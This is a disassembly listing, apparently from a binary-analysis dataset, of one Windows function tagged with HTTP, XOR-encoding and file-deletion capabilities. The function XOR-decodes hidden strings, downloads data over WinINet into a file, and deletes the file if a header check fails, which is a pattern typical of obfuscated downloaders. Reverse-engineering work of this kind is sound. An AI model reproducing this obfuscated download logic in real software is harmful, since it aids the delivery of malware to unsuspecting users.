Function at 0x140050010
Capabilities:
Connect to http server
Create http request
Delete file
Encode data using xor
Read data from internet
Receive data
Send data
Send http request

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
mov word [rsp + 0x10], dx
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x6e0]
sub rsp, 0x7e0
mov r13, r9
mov rdi, r8
mov rbx, rcx
mov r15, qword [rbp + 0x738]
mov rsi, qword [rbp + 0x730]
xor r12d, r12d
mov dword [rbp + 0x718], r12d
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
movdqa xmm1, xmmword [0x1400a5090]
movdqu xmmword [rbp + 0x90], xmm1
mov byte [rbp + 0x80], r12b
mov byte [rbp + 0x718], r12b
mov dword [rsp + 0x78], 0xe7e0f0f0
mov dword [rsp + 0x7c], 0xf2e6caea
mov dword [rbp - 0x80], 0xbcbdbed4
mov word [rbp - 0x7c], 0x90bb
mov ecx, r12d
lea rdx, [rsp + 0x78]
nop word [rax + rax]
lea eax, [rcx - 0x7d]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0xd
jb 0x1400500b0
mov byte [rbp - 0x7b], 0
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
lea rcx, [rsp + 0x78]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r14, rax
mov qword [rbp - 0x30], rax
mov dword [rbp - 0x38], 0x7d0
mov r9d, 4
lea r8, [rbp - 0x38]
mov eax, 2
mov dword [rbp - 0x40], eax
mov edx, eax
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetSetOptionA]
test r14, r14
jne 0x140050116
xor ecx, ecx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov r8d, 0x50
mov qword [rsp + 0x38], r12
mov dword [rsp + 0x30], r12d
mov dword [rsp + 0x28], 3
lea rax, [0x1400a3abe]
mov qword [rsp + 0x20], rax
mov r9, rax
mov rdx, rbx
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetConnectA]
mov r12, rax
mov qword [rbp - 0x28], rax
test rax, rax
jne 0x140050166
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor ecx, ecx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [rsp + 0x68], 0xd6d1d0cb
mov dword [rsp + 0x6c], 0xbba7b9a8
mov byte [rsp + 0x70], 0x8b
xor r8d, r8d
mov ecx, r8d
lea rdx, [rsp + 0x68]
nop word [rax + rax]
lea eax, [rcx - 0x7d]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 8
jb 0x140050190
mov byte [rsp + 0x70], r8b
mov dword [rsp + 0x40], 0xd2d6cbd3
mov byte [rsp + 0x44], 0x87
mov ecx, r8d
lea rdx, [rsp + 0x40]
nop word [rax + rax]
lea eax, [rcx - 0x7d]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 4
jb 0x1400501c0
mov byte [rsp + 0x44], r8b
mov qword [rsp + 0x38], r8
mov dword [rsp + 0x30], 1
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], r8
lea r9, [rsp + 0x68]
mov r8, rdi
lea rdx, [rsp + 0x40]
mov rcx, r12
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov rbx, rax
mov qword [rbp - 0x48], rax
test rax, rax
jne 0x140050228
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor ecx, ecx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [rbp - 0x50], 0x7d0
mov r9d, 4
lea r8, [rbp - 0x50]
lea edx, [r9 + 1]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov r9d, 4
lea r8, [rbp - 0x50]
mov r14d, 6
mov edx, r14d
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov r8, qword [rsi + 0x10]
mov rcx, rsi
lea rbx, [rsi + 0x18]
mov r12, qword [rbx]
cmp r12, 0xf
jbe 0x14005027d
mov rcx, qword [rsi]
lea rbx, [rsi + 0x18]
mov rdi, 0xffffffffffffffff
test r8, r8
jne 0x1400502a2
lea rdx, [0x1400a3abe]
call fcn.1400917e0
test eax, eax
jne 0x1400502a2
mov r12, qword [rbp - 0x48]
jmp 0x140050366
mov r9, rsi
cmp r12, 0xf
jbe 0x1400502ae
mov r9, qword [rsi]
mov dword [rsp + 0x50], 0xe3e3e1d1
mov dword [rsp + 0x54], 0xb0fbedf5
mov dword [rsp + 0x58], 0x8efea9ab
xor ecx, ecx
lea rdx, [rsp + 0x50]
nop dword [rax]
lea eax, [rcx - 0x7d]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0xb
jb 0x1400502d0
mov byte [rsp + 0x5b], 0
lea r8, [rsp + 0x50]
mov edx, 0x104
lea rcx, [rbp + 0x1d0]
call fcn.14004b130
lea rax, [rbp + 0x1d0]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x140050305
mov r9d, 0x20000000
lea rdx, [rbp + 0x1d0]
mov r12, qword [rbp - 0x48]
mov rcx, r12
call qword [sym.imp.WININET.dll_HttpAddRequestHeadersA]
test eax, eax
jne 0x14005034a
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov qword [rsi + 0x10], 0
mov rax, rsi
cmp qword [rsi + 0x18], 0xf
jbe 0x14005035f
mov rax, qword [rsi]
mov byte [rax], 0
lea rbx, [rsi + 0x18]
mov rax, rdi
nop dword [rax]
inc rax
cmp byte [rax + r13], 0
jne 0x140050370
mov dword [rsp + 0x20], eax
mov r9, r13
xor r8d, r8d
xor edx, edx
mov rcx, r12
call qword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
jne 0x14005044e
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x1400503f3
mov rcx, qword [rsi]
inc rdx
cmp rdx, 0x1000
jb 0x1400503ea
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140050d07
mov rcx, r8
call fcn.1400624fc
lea rbx, [rsi + 0x18]
xor edi, edi
mov qword [rsi + 0x10], rdi
mov qword [rbx], 0xf
mov byte [rsi], dil
mov rdx, qword [r15 + 0x18]
cmp rdx, 0xf
jbe 0x14005043d
inc rdx
mov rcx, qword [r15]
cmp rdx, 0x1000
jb 0x140050438
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140050d0d
mov rcx, r8
call fcn.1400624fc
mov qword [r15 + 0x10], rdi
mov qword [r15 + 0x18], 0xf
jmp 0x140050ce0
test r12, r12
je 0x140050b77
mov rdx, r15
lea rcx, [rbp + 0xc0]
call fcn.14005d340
nop
cmp qword [rbp + 0x148], 0
je 0x140050aeb
lea r9, [rbp - 0x4c]
mov r8d, 0x400
lea rdx, [rbp + 0x2e0]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1400504ce
mov eax, dword [rbp - 0x4c]
test eax, eax
je 0x1400504ce
mov r8d, eax
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp + 0xc0]
call fcn.14005d500
lea r9, [rbp - 0x4c]
mov r8d, 0x400
lea rdx, [rbp + 0x2e0]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140050493
lea rcx, [rbp + 0xc8]
call fcn.14005ef60
test rax, rax
jne 0x140050520
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
cmp qword [rbp + rcx + 0x108], 0
mov eax, 2
cmovne r14d, eax
or r14d, dword [rbp + rcx + 0xd0]
and r14d, 0x17
mov dword [rbp + rcx + 0xd0], r14d
mov eax, dword [rbp + rcx + 0xd4]
and eax, r14d
jne 0x140050d13
xor r13d, r13d
mov dword [rbp - 0x78], r13d
mov qword [rsp + 0x20], r13
lea r9, [rbp - 0x78]
xor r8d, r8d
lea edx, [r13 + 0x16]
mov rcx, r12
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
jne 0x140050aeb
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x140050aeb
mov ebx, dword [rbp - 0x78]
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r13
test rbx, rbx
je 0x1400505ca
cmp rbx, 0x1000
jb 0x14005059d
lea rcx, [rbx + 0x27]
cmp rcx, rbx
jbe 0x140050d63
call fcn.140062574
test rax, rax
je 0x140050d87
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x1400505a8
mov rcx, rbx
call fcn.140062574
mov r14, rax
mov qword [rbp + 0x20], r14
lea r13, [r14 + rbx]
mov qword [rbp + 0x30], r13
mov r8, rbx
xor edx, edx
mov rcx, r14
call fcn.140090d00
mov rbx, r13
mov qword [rbp + 0x28], rbx
jmp 0x1400505d2
mov rbx, qword [rbp + 0x28]
mov r14, qword [rbp + 0x20]
xor r13d, r13d
mov qword [rsp + 0x20], r13
lea r9, [rbp - 0x78]
mov r8, r14
lea edx, [r13 + 0x16]
mov rcx, r12
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x140050aae
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], r13
mov qword [rbp - 0x58], r13
cmp r14, rbx
jne 0x14005061c
mov qword [rbp - 0x60], r13
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], r13b
jmp 0x14005062f
sub rbx, r14
mov r8, rbx
mov rdx, r14
lea rcx, [rbp - 0x70]
call fcn.1400608e0
nop
movdqa xmm0, xmmword [0x1400a5650]
movdqu xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x60], 0x96afe7e0
mov ecx, r13d
lea rdx, [rsp + 0x50]
nop dword [rax]
lea eax, [rcx - 0x7d]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0x13
jb 0x140050650
mov byte [rsp + 0x63], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], r13
lea rax, [rsp + 0x50]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140050680
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x20]
call fcn.1400608e0
nop
lea r13, [rbp - 0x20]
mov r10, qword [rbp - 0x20]
cmp qword [rbp - 8], 0xf
cmova r13, r10
lea rcx, [rbp - 0x70]
mov r8, qword [rbp - 0x70]
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
cmova rcx, r8
mov qword [rsp + 0x50], rcx
mov r12, qword [rbp - 0x10]
mov r9, qword [rbp - 0x60]
cmp r12, r9
ja 0x140050748
mov rax, r9
sub rax, r12
test r12, r12
jne 0x1400506df
xor ebx, ebx
jmp 0x14005074b
inc rax
add rax, rcx
mov qword [rsp + 0x48], rax
mov r8, rax
sub r8, rcx
movsx edx, byte [r13]
call fcn.140091740
mov rbx, rax
test rax, rax
je 0x140050738
mov r8, r12
mov rdx, r13
mov rcx, rbx
call fcn.1400917e0
test eax, eax
je 0x1400507af
inc rbx
mov r8, qword [rsp + 0x48]
sub r8, rbx
movsx edx, byte [r13]
mov rcx, rbx
call fcn.140091740
mov rbx, rax
test rax, rax
jne 0x140050702
mov r8, qword [rbp - 0x70]
mov rdx, qword [rbp - 0x58]
mov r9, qword [rbp - 0x60]
mov r10, qword [rbp - 0x20]
mov rbx, rdi
cmp rbx, 0xffffffffffffffff
je 0x140050a31
lea r13, [rbx + r12]
lea r12, [rbp - 0x70]
cmp rdx, 0xf
cmova r12, r8
cmp r9, 2
jb 0x1400507fb
lea rax, [r9 - 2]
cmp r13, rax
ja 0x1400507fb
lea rbx, [rax + r12]
lea rcx, [r12 + r13]
lea r8, [rbx + 1]
sub r8, rcx
mov edx, 0xd
call fcn.140091740
mov rcx, rax
test rax, rax
je 0x1400507ef
nop dword [rax]
cmp byte [rcx], 0xd
jne 0x1400507c6
cmp byte [rcx + 1], 0xa
jne 0x1400507c6
xor eax, eax
jmp 0x1400507cb
sub rbx, qword [rsp + 0x50]
mov r8, qword [rbp - 0x70]
mov rdx, qword [rbp - 0x58]
mov r9, qword [rbp - 0x60]
mov r10, qword [rbp - 0x20]
jmp 0x14005074b
sbb eax, eax
or eax, 1
test eax, eax
je 0x14005097a
inc rcx
lea r8, [rbx + 1]
sub r8, rcx
mov edx, 0xd
call fcn.140091740
mov rcx, rax
test rax, rax
jne 0x1400507a0
mov r8, qword [rbp - 0x70]
mov rdx, qword [rbp - 0x58]
mov r9, qword [rbp - 0x60]
mov rcx, rdi
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
xor r12d, r12d
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x18], r12
cmp r9, r13
jb 0x140050d69
sub rcx, r13
sub r9, r13
cmp r9, rcx
cmovb rcx, r9
lea rax, [rbp - 0x70]
cmp rdx, 0xf
cmova rax, r8
lea rdx, [rax + r13]
mov r8, rcx
lea rcx, [rbp]
call fcn.1400608e0
nop
lea rcx, [rbp]
mov rbx, qword [rbp + 0x18]
cmp rbx, 0xf
cmova rcx, qword [rbp]
mov r8, qword [rbp + 0x10]
test r8, r8
jne 0x140050871
lea rdx, [0x1400a3abe]
call fcn.1400917e0
test eax, eax
je 0x140050992
mov dword [rsp + 0x48], 0xe3f0f6f7
mov byte [rsp + 0x4c], 0x87
mov ecx, r12d
lea rdx, [rsp + 0x48]
nop word [rax + rax]
lea eax, [rcx - 0x7d]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 4
jb 0x140050890
mov byte [rsp + 0x4c], 0
lea rax, [rbp + 0x38]
mov qword [rsp + 0x50], rax
mov dword [rbp + 0x718], 0x86e2f7ee
mov ecx, r12d
lea rdx, [rbp + 0x718]
lea eax, [rcx - 0x7d]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 3
jb 0x1400508c2
mov byte [rbp + 0x71b], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x38], xmm0
mov qword [rbp + 0x48], r12
mov qword [rbp + 0x50], r12
lea rax, [rbp + 0x718]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x1400508f2
lea rdx, [rbp + 0x718]
lea rcx, [rbp + 0x38]
call fcn.1400608e0
nop
lea rdx, [rbp]
lea rcx, [rbp + 0x58]
call fcn.14005e950
nop
lea r8, [rbp + 0x38]
mov rdx, rax
lea rcx, [rbp + 0xa0]
call fcn.14004d7c0
mov dword [rbp - 0x40], 3
lea rcx, [rsp + 0x48]
nop word [rax + rax]
inc rdi
cmp byte [rcx + rdi], 0
jne 0x140050940
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x140050957
mov rax, qword [rax]
cmp r8, rdi
jne 0x14005098e
lea rdx, [rsp + 0x48]
mov rcx, rax
call fcn.1400917e0
test eax, eax
jne 0x14005098e
mov byte [rbp + 0x718], 1
mov rbx, qword [rbp + 0x18]
jmp 0x14005099f
sub rcx, r12
mov r8, qword [rbp - 0x70]
mov rdx, qword [rbp - 0x58]
mov r9, qword [rbp - 0x60]
jmp 0x1400507fe
mov rbx, qword [rbp + 0x18]
mov byte [rbp + 0x718], 0
test byte [rbp - 0x40], 1
je 0x1400509e0
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x1400509e0
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400509db
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140050d6f
call fcn.1400624fc
lea rax, [rbp - 0x20]
cmp qword [rbp - 8], 0xf
cmova rax, qword [rbp - 0x20]
mov byte [rax], 0
cmp rbx, 0xf
jbe 0x140050a29
lea rdx, [rbx + 1]
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140050a24
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140050d75
call fcn.1400624fc
mov r8, qword [rbp - 0x70]
mov r10, qword [rbp - 0x20]
mov rax, qword [rbp - 8]
cmp rax, 0xf
jbe 0x140050a70
lea rdx, [rax + 1]
mov rax, r10
cmp rdx, 0x1000
jb 0x140050a64
add rdx, 0x27
mov r10, qword [r10 - 8]
sub rax, r10
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140050d7b
mov rcx, r10
call fcn.1400624fc
mov r8, qword [rbp - 0x70]
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x140050aaa
inc rdx
mov rax, r8
cmp rdx, 0x1000
jb 0x140050aa2
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140050d81
mov rcx, r8
call fcn.1400624fc
mov r12, qword [rbp - 0x48]
test r14, r14
je 0x140050aeb
mov rcx, qword [rbp + 0x30]
sub rcx, r14
mov rax, r14
cmp rcx, 0x1000
jb 0x140050adf
add rcx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140050d87
mov rdx, rcx
mov rcx, r14
call fcn.1400624fc
nop
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xc0], rax
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0xbc], edx
lea rcx, [rbp + 0xc8]
call fcn.14005e3a0
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xc0], rax
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0xbc], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x168], rax
lea rcx, [rbp + 0x168]
call fcn.140063e20
nop
lea rbx, [rsi + 0x18]
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
cmp byte [rbp + 0x718], 0
je 0x140050c37
mov rdx, qword [rbx]
cmp rdx, 0xf
jbe 0x140050bda
mov rcx, qword [rsi]
inc rdx
cmp rdx, 0x1000
jb 0x140050bd5
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140050d07
mov rcx, r8
call fcn.1400624fc
xor edi, edi
mov qword [rsi + 0x10], rdi
mov qword [rbx], 0xf
mov byte [rsi], dil
mov rdx, qword [r15 + 0x18]
cmp rdx, 0xf
jbe 0x140050c24
inc rdx
mov rcx, qword [r15]
cmp rdx, 0x1000
jb 0x140050c1f
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140050d0d
mov rcx, r8
call fcn.1400624fc
mov qword [r15 + 0x10], rdi
mov qword [r15 + 0x18], 0xf
mov al, 1
jmp 0x140050ce2
mov rcx, r15
lea rdi, [r15 + 0x18]
cmp qword [rdi], 0xf
jbe 0x140050c47
mov rcx, qword [r15]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
nop
mov rdx, qword [rbx]
cmp rdx, 0xf
jbe 0x140050c8f
mov rcx, qword [rsi]
inc rdx
cmp rdx, 0x1000
jb 0x140050c8a
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140050d07
mov rcx, r8
lea rbx, [rsi + 0x18]
lea rdi, [r15 + 0x18]
call fcn.1400624fc
xor r14d, r14d
mov qword [rsi + 0x10], r14
mov qword [rbx], 0xf
mov byte [rsi], r14b
mov rdx, qword [rdi]
cmp rdx, 0xf
jbe 0x140050cd5
inc rdx
mov rcx, qword [r15]
cmp rdx, 0x1000
jb 0x140050cd0
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140050d0d
mov rcx, r8
call fcn.1400624fc
mov qword [r15 + 0x10], r14
mov qword [rdi], 0xf
xor al, al
mov byte [r15], 0
lea r11, [rsp + 0x7e0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400788cc
nop
call fcn.1400788cc
nop
test al, 4
je 0x140050d20
lea rbx, str.ios_base::badbit_set
jmp 0x140050d34
test al, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x78]
call fcn.14004b420
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x58]
call fcn.14004bee0
lea rdx, [0x1400b07c0]
lea rcx, [rbp + 0x58]
call fcn.140065a00
int3
call fcn.14004b290
nop
call fcn.14005f920
nop
call fcn.1400788cc
nop
call fcn.1400788cc
nop
call fcn.1400788cc
nop
call fcn.1400788cc
nop
call fcn.1400788cc
int3